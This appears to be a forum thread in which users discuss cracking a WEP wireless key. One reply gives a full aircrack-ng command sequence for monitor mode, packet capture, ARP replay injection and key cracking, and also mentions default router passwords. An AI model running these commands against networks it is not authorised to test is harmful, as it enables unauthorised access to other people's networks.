Simply put no you cant have it pass the first 5 digits if it truly is your wireless network you can use cain and able google it and it will recover the WEP key if you havent formated since you used the key. If thats not an option you can use BackTrack 3 in which case you need to flood the router with packets. and trick it to send back IV's even tho your not connected to it then you use aircrack-ng to crack it once you have enough IV's(and that number would be around 50k to 100k IV's).
Is it possible to somehow pass the first 5 digits while cracking as a parameter to the aircrack-ng program to reduce the cracking time and more importantly the no of data IVs that are needed to crack the program? It takes more than 4 hours just to get 1000 data IVs because packet injection does not work on my box and according to the guide it takes more than 10000 for a crack to work.
Simply put is there any way to allow aircrack-ng to take the first 5 digits as is and crack the remaining password by applying brute force etc.
This is a simple penetration test i did on my own company router to show how unsecure WEP really is.
***EDIT*** also you can just go to your router page and disable the wep key and re enable it with another key or better yet use WPA-PSK or TKIP
airmon-ng #shows adapters
airmon-ng stop ath0 #stops ath0 adapter
ifconfig wifi0 down
*leaving out specific part on purpose*
airmon-ng start wifi0
#the above steps basically sets up wireless card into monitor mode
#check to see if yours supports packet injection and monitor mode
#if i dont quit right there or buy a new card that does
airodump-ng ath0 # shows lists of wireless networks it will update until u hit ctrl-c
#when you see your network type
airodump-ng -c (channel i.e 1 to 11) -w (filename i.e wepkey) --bssid (bssid of your network) ath0
#open second conole with the first one running still
aireplay-ng -1 0 - (bssid) -h (MAC) ath0
aireplay-ng -3 -b (bssid) -h (MAC) ath0
# then in third console with first and second still running
#after you've got enough IV's you use aircrack-ng if it fails it will retry every 5000 IV's
aircrack-ng -b (bssid) filename-01.cap
your router page password isnt the same as your wep key if you never set one google the default password which is usually believe it or not PASSWORD :\